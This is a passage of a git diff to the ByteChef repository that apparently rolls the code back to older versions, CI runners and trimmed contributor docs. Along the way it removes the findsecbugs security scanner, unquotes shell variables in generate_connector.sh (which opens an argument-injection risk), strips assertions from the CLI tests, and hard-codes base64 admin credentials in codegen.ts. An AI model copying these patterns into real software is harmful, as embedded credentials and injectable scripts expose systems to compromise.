diff --git a/.github/workflows/build_pull_request.yml b/.github/workflows/build_pull_request.yml
index 08e8b4042ab..261bbf85630 100644
--- a/.github/workflows/build_pull_request.yml
+++ b/.github/workflows/build_pull_request.yml
@@ -17,7 +17,7 @@ permissions:
 jobs:
   # JOB to run change detection
   changes:
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
     # Required permissions
     permissions:
       pull-requests: read
@@ -42,7 +42,7 @@ jobs:
   cli:
     needs: changes
     if: ${{ needs.changes.outputs.cli == 'true' }}
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
 
     steps:
       - uses: actions/checkout@v3
@@ -76,7 +76,7 @@ jobs:
   client:
     needs: changes
     if: ${{ needs.changes.outputs.client == 'true' }}
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v3
         with:
@@ -105,7 +105,7 @@ jobs:
   server:
     needs: changes
     if: ${{ needs.changes.outputs.server == 'true' }}
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
 
     steps:
     - uses: actions/checkout@v3
diff --git a/.github/workflows/build_push.yml b/.github/workflows/build_push.yml
index 9bfa04b2e73..eaf95cf2992 100644
--- a/.github/workflows/build_push.yml
+++ b/.github/workflows/build_push.yml
@@ -16,7 +16,7 @@ permissions:
 
 jobs:
   cli:
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
 
     steps:
       - uses: actions/checkout@v3
@@ -48,7 +48,7 @@ jobs:
         run: ../gradlew build jacocoTestReport sonar --quiet
 
   client:
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v3
         with:
@@ -75,7 +75,7 @@ jobs:
           projectBaseDir: client/
 
   server:
-    runs-on: blacksmith-4vcpu-ubuntu-2404
+    runs-on: ubuntu-latest
 
     steps:
     - uses: actions/checkout@v3
diff --git a/.junie/guidelines.md b/.junie/guidelines.md
index d313888642e..789c4e20540 100644
--- a/.junie/guidelines.md
+++ b/.junie/guidelines.md
@@ -366,14 +366,4 @@ Access the application at http://localhost:8080
   - Formatting rules:
     - Break each chained step onto its own line when there are 3+ operations or line length would exceed limits
     - Keep declarative chains (queries, reactive pipelines) as one logical block; prefer one operation per line
-- Avoid chaining when side effects are involved or intermediate values deserve names for clarity/debugging
-
-## Working with Tasks
-
-Follow these guidelines when working with the `docs/tasks.md` checklist:
-
-1. **Mark Completion**: Mark tasks as `[x]` as soon as they are completed.
-2. **Task Modification**: Keep existing phases intact. If additional steps are identified during development, add them as new tasks within the appropriate phase.
-3. **Traceability**: Ensure every new or modified task remains linked to both a requirement in `docs/requirements.md` and a plan item in `docs/plan.md`.
-4. **Consistency**: Maintain the existing formatting style for tasks, including headings, indentation, and linking format.
-5. **Periodic Review**: Regularly sync the task list with the actual progress of the development to ensure it remains an accurate source of truth.
+    - Avoid chaining when side effects are involved or intermediate values deserve names for clarity/debugging
diff --git a/AGENTS.md b/AGENTS.md
index 7413c79301a..e4b06b495a9 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -357,86 +357,20 @@ it('should render button', () => {
 
 ### E2E Tests (Playwright)
 
--   Location: `test/playwright/`
--   **Fixtures Pattern**: Use independent fixtures combined with `mergeTests` (following Liferay pattern)
--   **Fixtures Location**: `test/playwright/fixtures/`
--   **Available Fixtures**:
-    -   `loginTest()` - Provides `authenticatedPage` (function, call with `()`)
-    -   `projectTest` - Provides `project` (auto-creates and cleans up)
-    -   `workflowTest` - Provides `workflow` (requires `project` when merged)
-
-#### Fixtures Pattern
-
-**The `use` Hook**: Playwright fixtures use a `use` callback that:
-1. **Setup** (before `use`) - Creates resources
-2. **Test Execution** (during `use`) - Your test runs
-3. **Cleanup** (after `use`) - Automatically cleans up resources
+-   Location: `tests/e2e/`
+-   Use helpers from `tests/e2e/helpers/auth.ts` for authentication
+-   Pattern:
 
 ```typescript
-// Example fixture structure
-export const projectTest = base.extend({
-    project: async ({page}, use) => {
-        // SETUP: Create project
-        const project = await createProject(page);
-        
-        // GIVE TO TEST: Your test runs here
-        await use(project);
-        
-        // CLEANUP: Delete project (runs after test)
-        await projectsPage.deleteProject(project.id);
-    },
-});
-```
+import {test, expect} from '@playwright/test';
+import {login} from './helpers/auth';
 
-**Using Fixtures with `mergeTests`**:
-
-```typescript
-import {expect, mergeTests} from '@playwright/test';
-import {loginTest, projectTest, workflowTest} from '../../fixtures';
-
-// Combine fixtures at the top of your test file
-export const test = mergeTests(loginTest(), projectTest, workflowTest);
-
-test.describe('My Tests', () => {
-    test('my test', async ({authenticatedPage, project, workflow}) => {
-        // All fixtures are available:
-        // - authenticatedPage (from loginTest)
-        // - project (from projectTest)
-        // - workflow (from workflowTest)
-        
-        await authenticatedPage.goto(`/projects/${project.id}/workflows/${workflow.workflowId}`);
-        // Test logic here
-        // Fixtures automatically clean up after test
-    });
+test('should login', async ({page}) => {
+    await login(page, 'user@example.com', 'password');
+    await expect(page).toHaveURL('/');
 });
 ```
 
-**Common Patterns**:
-
-```typescript
-// Test needs only authentication
-export const test = mergeTests(loginTest());
-
-// Test needs project
-export const test = mergeTests(loginTest(), projectTest);
-
-// Test needs everything
-export const test = mergeTests(loginTest(), projectTest, workflowTest);
-```
-
-**Key Principles**:
--   Fixtures are **independent** - don't extend each other
--   Use `mergeTests` in test files to combine fixtures
--   `loginTest()` is a function - call it with `()`
--   Fixtures automatically clean up resources after tests
--   Each fixture provides specific fixtures (see table below)
-
-| Fixture | Provides | Requires |
-|---------|-----------|----------|
-| `loginTest()` | `authenticatedPage` | Nothing |
-| `projectTest` | `project` | `page` (auto-authenticated) |
-| `workflowTest` | `workflow` | `page` + `project` (when merged) |
-
 ## Common Utilities
 
 ### `twMerge()` - Class Name Utility
diff --git a/CLAUDE.md b/CLAUDE.md
index bcc88e709f1..184cae4fbaa 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -75,15 +75,15 @@ docker compose -f docker-compose.dev.server.yml up -d
 ## Architecture Overview
 
 ### Core Technology Stack
-- **Backend**: Java 25 with Spring Boot 4.0.2
-- **Frontend**: React 19.2 with TypeScript 5.9, Vite 7.3, TailwindCSS 3.4
+- **Backend**: Java 25 with Spring Boot 3.5.7
+- **Frontend**: React 19.2 with TypeScript 5.9, Vite 7.2, TailwindCSS 3.4
 - **Database**: PostgreSQL 15+ with Liquibase migrations
 - **Message Broker**: Memory(default), Redis, RabbitMQ, Kafka, JMS, AMQP, AWS SQS
 - **Build System**: Gradle 8+ with Kotlin DSL
 - **Code Execution**: GraalVM Polyglot 25.0.1 (Java, JavaScript, Python, Ruby)
 - **Testing**: JUnit 5, Vitest 4, Testcontainers
 - **Node.js**: Version 20.19+ required for client development
-- **Additional Tools**: MapStruct 1.6.3, Jackson 2.19.2, SpringDoc OpenAPI 3.0.0
+- **Additional Tools**: MapStruct 1.6.3, Jackson 2.19.2, SpringDoc OpenAPI 2.8.14
 
 ### Main Server Module Structure
 
@@ -95,14 +95,10 @@ docker compose -f docker-compose.dev.server.yml up -d
     - `atlas-configuration/` - Workflow configuration management
 
 - **`automation/`** - iPaaS automation implementation
-    - `automation-ai/` - AI-powered automation features
     - `automation-configuration/` - Project and workflow configuration
-    - `automation-data-table/` - Data table management
-    - `automation-execution/` - Workflow execution services
-    - `automation-knowledge-base/` - Knowledge base integration
-    - `automation-mcp/` - MCP (Model Context Protocol) integration
-    - `automation-task/` - Task management services
+    - `automation-connection/` - Connection management
     - `automation-workflow/` - Workflow coordination and execution
+    - `automation-task/` - Task management services
 
 - **`platform/`** - Core infrastructure services
     - `platform-component/` - Component definition and management
@@ -194,12 +190,6 @@ public class ExampleComponentHandler implements ComponentHandler {
 
 ## Code Style and Best Practices
 
-### Client ESLint sort-keys Rule
-- Object keys must be in natural ascending (alphabetical) order in client code
-- Applies to mock objects, hoisted state, test data, and component props
-- ESLint `--fix` does NOT auto-fix sort-keys - must be fixed manually
-- Example: `{content: 'x', id: 'y'}` not `{id: 'y', content: 'x'}`
-
 ### Variable Naming
 - Do not use short or cryptic variable names on both the server and client sides; prefer clear, descriptive names that communicate intent.
 - This applies everywhere, including arrow function parameters and loop variables.
@@ -219,28 +209,6 @@ public class ExampleComponentHandler implements ComponentHandler {
   for (Order order : orders) { ... }
   ```
 
-### Lucide Icon Imports (Client)
-- Always import icons with the `Icon` suffix: `SearchIcon`, `DatabaseIcon`, `Loader2Icon`
-- Not: `Search`, `Database`, `Loader2`
-
-### CSS Class Merging (Client)
-- Use `twMerge` from `tailwind-merge` for conditional class merging
-- Do not use `cn()` utility
-
-### React Patterns (Client)
-- Use `fieldset` (with `border-0`) for semantic form grouping instead of `div`
-- Replace nested ternary operators with render functions (e.g., `renderTrigger()`)
-- Use `useMemo` for computed values instead of IIFEs in JSX
-- Prefer `||` over `??` for JSX fallbacks (e.g., `trigger || defaultTrigger`)
-
-### GraphQL Conventions
-- Enum values must use SCREAMING_SNAKE_CASE (e.g., `DELETE`, `GET`, `QUERY`, `PATH`)
-- Consistent with HttpMethod and other enums in `*.graphqls` files
-
-### ID Generation
-- Avoid `hashCode()` for generating unique identifiers (collision risk)
-- Prefer SHA-256 with first 8 bytes for deterministic long IDs, or UUID for true uniqueness
-
 ### Blank Line Before Control Statements (Java)
 - Insert exactly one empty line before control statements to improve visual separation of logic:
   - Applies to: `if`, `else if`, `else`, `for`, enhanced `for`, `while`, `do { ... } while (...)`, `switch`, `try`/`catch`/`finally`.
@@ -269,21 +237,6 @@ public class ExampleComponentHandler implements ComponentHandler {
   }
   ```
 
-### Blank Line After Variable Modification (Java)
-- Insert exactly one empty line between a variable modification and a subsequent statement that uses that variable
-- This improves readability by visually separating the setup from the usage
-- Example:
-  ```java
-  // Bad
-  document.setStatus(KnowledgeBaseDocument.STATUS_PROCESSING);
-  knowledgeBaseDocumentService.saveKnowledgeBaseDocument(document);
-
-  // Good
-  document.setStatus(KnowledgeBaseDocument.STATUS_PROCESSING);
-
-  knowledgeBaseDocumentService.saveKnowledgeBaseDocument(document);
-  ```
-
 ### Method Chaining
 - Do not chain method calls except where this is natural and idiomatic
 - Allowed exceptions (non-exhaustive):
@@ -306,21 +259,6 @@ public class ExampleComponentHandler implements ComponentHandler {
   - Keep declarative chains (queries, reactive pipelines) as one logical block; prefer one operation per line
   - Avoid chaining when side effects are involved or intermediate values deserve names for clarity/debugging
 
-### Code Quality Tool Patterns
-
-**SpotBugs**:
-- Don't use rough approximations of known constants (e.g., use `Math.PI` instead of `3.14`)
-- Always check return values of methods like `CountDownLatch.await(long, TimeUnit)` - returns boolean
-- Use try-with-resources for `Connection` objects to avoid resource leaks
-- Catch specific exceptions (`SQLException`) instead of generic `Exception` when possible
-
-**PMD**:
-- Use `@SuppressWarnings("PMD.UnusedFormalParameter")` for interface-required but unused parameters
-- Don't qualify static method calls with the class name when already inside that class (e.g., `builder()` not `ClassName.builder()`)
-
-**Checkstyle**:
-- Test method names must be camelCase without underscores (e.g., `testExecuteSuccess` not `testExecute_Success`)
-
 ### Spring Boot Best Practices
 
 1. **Prefer Constructor Injection over Field/Setter Injection**
@@ -492,10 +430,6 @@ cd cli
 ./gradlew :cli-app:bootRun --args="component init openapi --name=my-component --openapi-path=/path/to/openapi.yaml"
 ```
 
-### Resolving PR Review Comments
-- Use `gh api graphql` with `resolveReviewThread` mutation to close threads programmatically
-- Get thread IDs via: `gh api graphql -f query='{ repository(owner: "X", name: "Y") { pullRequest(number: N) { reviewThreads(first: 20) { nodes { id isResolved path } } } }'`
-
 ## Build and Deployment
 
 ### Docker
@@ -775,8 +709,8 @@ tail -f server/apps/server-app/build/logs/application.log
 
 **Gradle Build Optimization**
 - Gradle JVM is configured with 4GB heap in `gradle.properties`
-- Parallel builds are enabled by default
-- Build cache is enabled by default
+- Parallel builds are disabled by default but can be enabled
+- Use build cache: `./gradlew --build-cache build`
 - Use configuration cache: `./gradlew --configuration-cache build`
 - Gradle daemon runs by default for faster subsequent builds
 
diff --git a/build.gradle.kts b/build.gradle.kts
index 2e95a05c53d..21c56428ec5 100644
--- a/build.gradle.kts
+++ b/build.gradle.kts
@@ -20,7 +20,7 @@ dependencyManagement {
 
 versionCatalogUpdate {
     keep {
-        versions.addAll("checkstyle", "findsecbugs", "gradle-git-properties", "jackson", "jacoco", "java", "jib-gradle-plugin", "pmd", "spotbugs", "spring-ai", "spring-boot", "spring-cloud-aws", "spring-cloud-dependencies", "spring-shell", "testcontainers")
+        versions.addAll("checkstyle", "gradle-git-properties", "jackson", "jacoco", "java", "jib-gradle-plugin", "pmd", "spotbugs", "spring-ai", "spring-boot", "spring-cloud-aws", "spring-cloud-dependencies", "spring-shell", "testcontainers")
     }
 }
 
@@ -31,7 +31,7 @@ subprojects {
 
     dependencyManagement {
         dependencies {
-            dependency("com.github.spotbugs:spotbugs-annotations:[${rootProject.libs.versions.spotbugs.get()},)")
+            dependency("com.github.spotbugs:spotbugs-annotations:[4.9.3,)")
         }
     }
 
@@ -41,8 +41,6 @@ subprojects {
         implementation("org.jspecify:jspecify")
         implementation(platform(org.springframework.boot.gradle.plugin.SpringBootPlugin.BOM_COORDINATES))
 
-        spotbugsPlugins("com.h3xstream.findsecbugs:findsecbugs-plugin:${rootProject.libs.versions.findsecbugs.get()}")
-
         testCompileOnly(rootProject.libs.com.github.spotbugs.spotbugs.annotations)
 
         testImplementation("org.springframework.boot:spring-boot-starter-test")
diff --git a/buildSrc/src/main/kotlin/com.bytechef.documentation-generator.gradle.kts b/buildSrc/src/main/kotlin/com.bytechef.documentation-generator.gradle.kts
index 6570599a7b7..ce52a910fe0 100644
--- a/buildSrc/src/main/kotlin/com.bytechef.documentation-generator.gradle.kts
+++ b/buildSrc/src/main/kotlin/com.bytechef.documentation-generator.gradle.kts
@@ -16,8 +16,6 @@ open class FindJsonFilesTask : DefaultTask() {
 
     @JsonIgnoreProperties(ignoreUnknown = true)
     class Properties {
-        var resourcesPath: String? = null
-
         var controlType: String? = null
         var name: String? = null
         var description: String? = null
@@ -339,7 +337,6 @@ The output for this action is dynamic and may vary depending on the input parame
         var title: String? = null
         var componentName: String? = null
         var componentVersion: Int? = null
-        var resourcesPath: String? = null
 
         private fun getOutputDefinitionString(): String {
             if (outputDefinition == null) {
@@ -357,7 +354,6 @@ This action does not produce any output.
             val propertiesSection = createPropertiesSection()
             val jsonExample = createJsonExample()
             val formattedJson = formatJson(jsonExample)
-            val mdxContent = getMdxContent()
 
             return """
 ### $title
@@ -371,21 +367,9 @@ $formattedJson
 ```
 ${getOutputDefinitionString()}
 ${createOutputJson()}
-
-$mdxContent
 """
         }
 
-        private fun getMdxContent(): String {
-            val mdxFile = File(resourcesPath, "$name.mdx")
-
-            return if (mdxFile.exists()) {
-                mdxFile.readText()
-            } else {
-                ""
-            }
-        }
-
         private fun createJsonExample(): String {
             return if (properties.isNullOrEmpty()) {
                 """ {
@@ -448,7 +432,6 @@ ${properties?.joinToString("\n")}
         var type: String? = null
         var componentName: String? = null
         var componentVersion: Int? = null
-        var resourcesPath: String? = null
 
         private fun getOutputResponseString(): String {
             if (outputDefinition == null) {
@@ -466,7 +449,6 @@ This trigger does not produce any output.
             val jsonExample = createJsonExample()
             val formattedJson = formatJson(jsonExample)
             val propertiesSection = createPropertiesSection()
-            val mdxContent = getMdxContent()
 
             return """
 ### $title
@@ -481,20 +463,9 @@ ${getOutputResponseString()}
 ```json
 $formattedJson
 ```
-$mdxContent
 """
         }
 
-        private fun getMdxContent(): String {
-            val mdxFile = File(resourcesPath, "$name.mdx")
-
-            return if (mdxFile.exists()) {
-                mdxFile.readText()
-            } else {
-                ""
-            }
-        }
-
         private fun createJsonExample(): String {
             return if (properties.isNullOrEmpty()) {
                 """ {
@@ -558,10 +529,8 @@ ${properties?.joinToString("\n")}
     class Connection {
         var authorizations: Array<Authorizations>? = null
         var version: Int? = null
-        var resourcesPath: String? = null
 
         override fun toString(): String {
-            val mdxContent = getMdxContent()
             return """
 ## Connections
 
@@ -569,19 +538,8 @@ Version: $version
 
 ${authorizations?.joinToString("\n")}
 
-$mdxContent
 """
         }
-
-        private fun getMdxContent(): String {
-            val mdxFile = File(resourcesPath, "connection.mdx")
-
-            return if (mdxFile.exists()) {
-                mdxFile.readText()
-            } else {
-                ""
-            }
-        }
     }
 
     @JsonIgnoreProperties(ignoreUnknown = true)
@@ -608,7 +566,6 @@ $mdxContent
         var triggers: Array<Trigger>? = null
         var version: Int? = null
         var properties: Array<Properties>? = null
-        var resourcesPath: String? = null
 
         private fun getCategoriesString(): String {
             if (componentCategories == null) {
@@ -720,7 +677,6 @@ ${getCustomActionString()}
         val componentsPath = "$rootPath/docs/content/docs/reference/components"
         val taskDispatchersPath = "$rootPath/docs/content/docs/reference/flow-controls"
         val currentPath = project.projectDir.path
-        val resourcesPath = "$currentPath/src/main/resources"
 
         if (currentPath.contains(Regex("/modules/.+/"))) {
             val definitionDir = File("$currentPath/src/test/resources/definition")
@@ -745,21 +701,8 @@ ${getCustomActionString()}
                 }?.toList().orEmpty()
 
                 definitionJsonFiles.forEach { jsonFile ->
-                    val component = mapper.readValue(jsonFile.readText(), Component::class.java)
-
-                    component.resourcesPath = resourcesPath
-                    component.connection?.resourcesPath = resourcesPath
-                    component.actions?.forEach {
-                        it.resourcesPath = resourcesPath
-                        it.properties?.forEach { it2 -> setResourcesPath(it2, resourcesPath) }
-                    }
-                    component.triggers?.forEach {
-                        it.resourcesPath = resourcesPath
-                        it.properties?.forEach { it2 -> setResourcesPath(it2, resourcesPath) }
-                    }
-                    component.properties?.forEach { setResourcesPath(it, resourcesPath) }
-
-                    val json = component.toString()
+                    val jsonObject = mapper.readValue(jsonFile.readText(), Component::class.java)
+                    val json = jsonObject.toString()
 
                     val path = when (isComponentsDir) {
                         true -> componentsPath
@@ -810,12 +753,6 @@ ${getCustomActionString()}
             }
         }
     }
-
-    private fun setResourcesPath(properties: Properties, resourcesPath: String) {
-        properties.resourcesPath = resourcesPath
-        properties.properties?.forEach { setResourcesPath(it, resourcesPath) }
-        properties.items?.forEach { setResourcesPath(it, resourcesPath) }
-    }
 }
 
 // Register the custom task with Gradle
diff --git a/buildSrc/src/main/kotlin/com.bytechef.java-common-conventions.gradle.kts b/buildSrc/src/main/kotlin/com.bytechef.java-common-conventions.gradle.kts
index 15e2ad7baea..165c2d53def 100644
--- a/buildSrc/src/main/kotlin/com.bytechef.java-common-conventions.gradle.kts
+++ b/buildSrc/src/main/kotlin/com.bytechef.java-common-conventions.gradle.kts
@@ -31,7 +31,7 @@ val cleanResources by tasks.registering(Delete::class) {
     delete("build/resources")
 }
 
-tasks.withType(JavaCompile::class) {
+val compileJava by tasks.existing(JavaCompile::class) {
     options.compilerArgs.add("-parameters")
 }
 
diff --git a/cli/cli-app/generate_connector.sh b/cli/cli-app/generate_connector.sh
index a48b1dcb414..2791de0e20a 100755
--- a/cli/cli-app/generate_connector.sh
+++ b/cli/cli-app/generate_connector.sh
@@ -3,4 +3,4 @@
 SCRIPTPATH="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
 
 echo "Generate $1 OpenAPI Connector"
-"$SCRIPTPATH/bytechef.sh" component init --open-api-path "$SCRIPTPATH/../../server/libs/modules/components/$1/openapi.yaml" --output-path "$SCRIPTPATH/../../server/libs/modules/components" --name "$1"
+$SCRIPTPATH/bytechef.sh component init --open-api-path $SCRIPTPATH/../../server/libs/modules/components/$1/openapi.yaml -o $SCRIPTPATH/../../server/libs/modules/components -n $1
diff --git a/cli/cli-app/libs/component-api-1.0.jar b/cli/cli-app/libs/component-api-1.0.jar
index 92c29a304a4..3569cdd6180 100644
Binary files a/cli/cli-app/libs/component-api-1.0.jar and b/cli/cli-app/libs/component-api-1.0.jar differ
diff --git a/cli/cli-app/libs/definition-api-1.0.jar b/cli/cli-app/libs/definition-api-1.0.jar
index af1a01b0964..87bb532012c 100644
Binary files a/cli/cli-app/libs/definition-api-1.0.jar and b/cli/cli-app/libs/definition-api-1.0.jar differ
diff --git a/cli/cli-app/src/main/java/com/bytechef/cli/CliApplication.java b/cli/cli-app/src/main/java/com/bytechef/cli/CliApplication.java
index 1723aa94518..a8ed4d221af 100644
--- a/cli/cli-app/src/main/java/com/bytechef/cli/CliApplication.java
+++ b/cli/cli-app/src/main/java/com/bytechef/cli/CliApplication.java
@@ -17,14 +17,8 @@
 package com.bytechef.cli;
 
 import com.bytechef.cli.command.component.ComponentCommand;
-import org.springframework.boot.ApplicationArguments;
-import org.springframework.boot.ApplicationRunner;
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.autoconfigure.SpringBootApplication;
-import org.springframework.context.annotation.Bean;
-import org.springframework.shell.core.NonInteractiveShellRunner;
-import org.springframework.shell.core.command.CommandRegistry;
-import org.springframework.shell.core.command.DefaultCommandParser;
 import org.springframework.shell.core.command.annotation.EnableCommand;
 
 /**
@@ -37,14 +31,4 @@ public class CliApplication {
     public static void main(String... args) {
         SpringApplication.run(CliApplication.class, args);
     }
-
-    @Bean
-    ApplicationRunner shellRunner(CommandRegistry commandRegistry, ApplicationArguments applicationArguments) {
-        return args -> {
-            DefaultCommandParser commandParser = new DefaultCommandParser(commandRegistry);
-            NonInteractiveShellRunner runner = new NonInteractiveShellRunner(commandParser, commandRegistry);
-
-            runner.run(applicationArguments.getSourceArgs());
-        };
-    }
 }
diff --git a/cli/cli-app/src/main/resources/application.yml b/cli/cli-app/src/main/resources/application.yml
deleted file mode 100644
index 773960b2d62..00000000000
--- a/cli/cli-app/src/main/resources/application.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-spring:
-  main:
-    banner-mode: off
diff --git a/cli/commands/component/init/openapi/src/main/java/com/bytechef/cli/command/component/init/openapi/ComponentInitOpenApiGenerator.java b/cli/commands/component/init/openapi/src/main/java/com/bytechef/cli/command/component/init/openapi/ComponentInitOpenApiGenerator.java
index 8b5b926afd7..3eaaf7368ee 100644
--- a/cli/commands/component/init/openapi/src/main/java/com/bytechef/cli/command/component/init/openapi/ComponentInitOpenApiGenerator.java
+++ b/cli/commands/component/init/openapi/src/main/java/com/bytechef/cli/command/component/init/openapi/ComponentInitOpenApiGenerator.java
@@ -96,7 +96,6 @@
 /**
  * @author Ivica Cardic
  */
-@SuppressFBWarnings("PATH_TRAVERSAL_IN")
 public class ComponentInitOpenApiGenerator {
 
     private static final Logger logger = LoggerFactory.getLogger(ComponentInitOpenApiGenerator.class);
diff --git a/cli/commands/component/src/main/java/com/bytechef/cli/command/component/ComponentCommand.java b/cli/commands/component/src/main/java/com/bytechef/cli/command/component/ComponentCommand.java
index a3b5ee9318c..ba8c52988cf 100644
--- a/cli/commands/component/src/main/java/com/bytechef/cli/command/component/ComponentCommand.java
+++ b/cli/commands/component/src/main/java/com/bytechef/cli/command/component/ComponentCommand.java
@@ -17,7 +17,6 @@
 package com.bytechef.cli.command.component;
 
 import com.bytechef.cli.command.component.init.openapi.ComponentInitOpenApiGenerator;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.File;
 import org.springframework.shell.core.command.annotation.Command;
 import org.springframework.shell.core.command.annotation.Option;
@@ -25,9 +24,11 @@
 @org.springframework.stereotype.Component
 public class ComponentCommand {
 
-    private static final String COMMAND_PREFIX = "component";
+    @Command
+    public void component() {
+    }
 
-    @Command(name = COMMAND_PREFIX + " init", description = "Generates project for a new component.")
+    @Command(name = "init", description = "Generates project for a new component.")
     public void init(
         @Option(
             longName = "base-package-name", description = "package for generated classes",
@@ -52,7 +53,6 @@ public void init(
         }
     }
 
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private void generateOpenApiComponent(
         String basePackageName, boolean internalComponent, String name, String openApiPath, String outputPath,
         int version) throws Exception {
diff --git a/cli/commands/component/src/test/java/com/bytechef/cli/command/component/init/ComponentInitCommandTest.java b/cli/commands/component/src/test/java/com/bytechef/cli/command/component/init/ComponentInitCommandTest.java
index 926acf71a6f..42bd70a1b3d 100644
--- a/cli/commands/component/src/test/java/com/bytechef/cli/command/component/init/ComponentInitCommandTest.java
+++ b/cli/commands/component/src/test/java/com/bytechef/cli/command/component/init/ComponentInitCommandTest.java
@@ -16,89 +16,35 @@
 
 package com.bytechef.cli.command.component.init;
 
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
 import com.bytechef.cli.CliApplication;
 import java.io.File;
-import java.io.IOException;
 import java.net.URL;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Comparator;
-import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.io.TempDir;
 
 /**
  * @author Ivica Cardic
  */
-class ComponentInitCommandTest {
-
-    @TempDir
-    Path tempDir;
-
-    @BeforeEach
-    void setUp() throws IOException {
-        Path outputPath = tempDir.resolve("petstore");
-
-        if (Files.exists(outputPath)) {
-            Files.walk(outputPath)
-                .sorted(Comparator.reverseOrder())
-                .map(Path::toFile)
-                .forEach(File::delete);
-        }
-    }
+public class ComponentInitCommandTest {
 
     @Test
-    void testComponentInitGeneratesExpectedFiles() {
+    public void testComponentInit() {
         URL url = ComponentInitCommandTest.class.getResource("/dependencies/petstore.yaml");
-        String outputPath = tempDir.toAbsolutePath()
-            .toString();
 
         CliApplication.main(
-            "component", "init", "--open-api-path", url.getFile(), "--output-path", outputPath, "--name", "petstore");
-
-        Path componentDir = tempDir.resolve("petstore");
-
-        assertTrue(Files.exists(componentDir), "Component directory should be created");
+            "component", "init", "--open-api-path", url.getFile(), "--output-path",
+            new File("build/test/generated").getAbsolutePath(), "-n", "petstore");
 
-        Path mainJavaDir = componentDir.resolve("src/main/java/com/bytechef/component/petstore");
-
-        assertTrue(
-            Files.exists(mainJavaDir.resolve("PetstoreComponentHandler.java")),
-            "ComponentHandler should be generated");
-        assertTrue(
-            Files.exists(mainJavaDir.resolve("AbstractPetstoreComponentHandler.java")),
-            "AbstractComponentHandler should be generated");
-        assertTrue(
-            Files.exists(mainJavaDir.resolve("connection/PetstoreConnection.java")),
-            "Connection class should be generated");
-
-        Path actionDir = mainJavaDir.resolve("action");
-
-        assertTrue(Files.exists(actionDir), "Action directory should be created");
-        assertTrue(
-            Files.exists(actionDir.resolve("PetstoreListPetsAction.java")),
-            "ListPets action should be generated");
+        // TODO Add asserts
     }
 
     @Test
-    void testComponentInitWithDifferentOpenApiSpec() {
+    public void testComponentInit2() {
         URL url = ComponentInitCommandTest.class.getResource("/dependencies/petstore2.yaml");
-        String outputPath = tempDir.toAbsolutePath()
-            .toString();
 
         CliApplication.main(
-            "component", "init", "--open-api-path", url.getFile(), "--output-path", outputPath, "--name", "petstore");
-
-        Path componentDir = tempDir.resolve("petstore");
-
-        assertTrue(Files.exists(componentDir), "Component directory should be created");
-
-        Path mainJavaDir = componentDir.resolve("src/main/java/com/bytechef/component/petstore");
+            "component", "init", "--open-api-path", url.getFile(), "--output-path",
+            new File("build/test/generated").getAbsolutePath(), "-n", "petstore");
 
-        assertTrue(
-            Files.exists(mainJavaDir.resolve("PetstoreComponentHandler.java")),
-            "ComponentHandler should be generated");
+        // TODO Add asserts
     }
 }
diff --git a/client/codegen.ts b/client/codegen.ts
index cac453d6ff4..f46f94f4d04 100644
--- a/client/codegen.ts
+++ b/client/codegen.ts
@@ -1,16 +1,20 @@
 import type {CodegenConfig} from '@graphql-codegen/cli';
+import {getCookie} from './src/shared/util/cookie-utils';
 
 const config: CodegenConfig = {
+    schema: [
+        {
+            'http://localhost:9555/graphql': {
+                headers: {
+                    Authorization: 'Basic YWRtaW5AbG9jYWxob3N0LmNvbTphZG1pbg==',
+                    'Content-Type': 'application/json',
+                },
+            },
+        },
+    ],
     documents: ['src/graphql/**/*.graphql'],
     generates: {
         'src/shared/middleware/graphql.ts': {
-            config: {
-                fetcher: {
-                    endpoint: 'endpointUrl',
-                    fetchParams: 'fetchParams',
-                },
-                reactQueryVersion: 5,
-            },
             plugins: [
                 {
                     add: {
@@ -21,29 +25,18 @@ const config: CodegenConfig = {
                 'typescript-operations',
                 'typescript-react-query',
             ],
+            config: {
+                fetcher: {
+                    endpoint: 'endpointUrl',
+                    fetchParams: 'fetchParams',
+                },
+                reactQueryVersion: 5,
+            },
         },
     },
     hooks: {
         afterAllFileWrite: ['prettier --write'],
     },
-    schema: [
-        '../server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-data-table/**/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/**/*.graphqls',
-        '../server/libs/platform/platform-mcp/platform-mcp-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-mcp/automation-mcp-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-search/automation-search-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/automation/automation-task/automation-task-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/platform/platform-security/platform-security-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/libs/ai/mcp/mcp-server-configuration/mcp-server-configuration-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/ee/libs/platform/platform-user/platform-user-graphql/src/main/resources/graphql/*.graphqls',
-        '../server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/resources/graphql/*.graphqls',
